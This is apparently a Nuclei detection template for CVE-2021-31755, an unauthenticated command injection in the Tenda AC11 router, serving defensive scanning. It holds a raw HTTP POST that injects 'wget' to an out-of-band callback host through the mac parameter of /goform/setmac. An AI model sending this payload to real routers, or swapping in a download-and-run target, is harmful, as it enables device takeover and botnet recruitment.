46 lines
2.4 KiB
YAML
46 lines
2.4 KiB
YAML
id: CVE-2021-31755
|
|
|
|
info:
|
|
name: Tenda Router AC11 - Remote Command Injection
|
|
author: gy741
|
|
severity: critical
|
|
description: Tenda Router AC11 is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).
|
|
reference:
|
|
- https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
|
|
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31755
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-31755
|
|
cwe-id: CWE-787
|
|
epss-score: 0.96724
|
|
epss-percentile: 0.99535
|
|
cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: tenda
|
|
product: ac11_firmware
|
|
tags: cve,cve2021,tenda,rce,oast,router,mirai,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /goform/setmac HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Referer: {{BaseURL}}/index.htmlr
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
# digest: 4a0a00473045022100a4c7584f746a56b386f969a682c273238a2769662f7ccba267ab885e55be07bd02202ba5ee94953fba2e1bcfe1b5b81eb4b8e1aa6de106a9d86fddf6206d24dd98e8:922c64590222798bb761d5b6d8e72950
|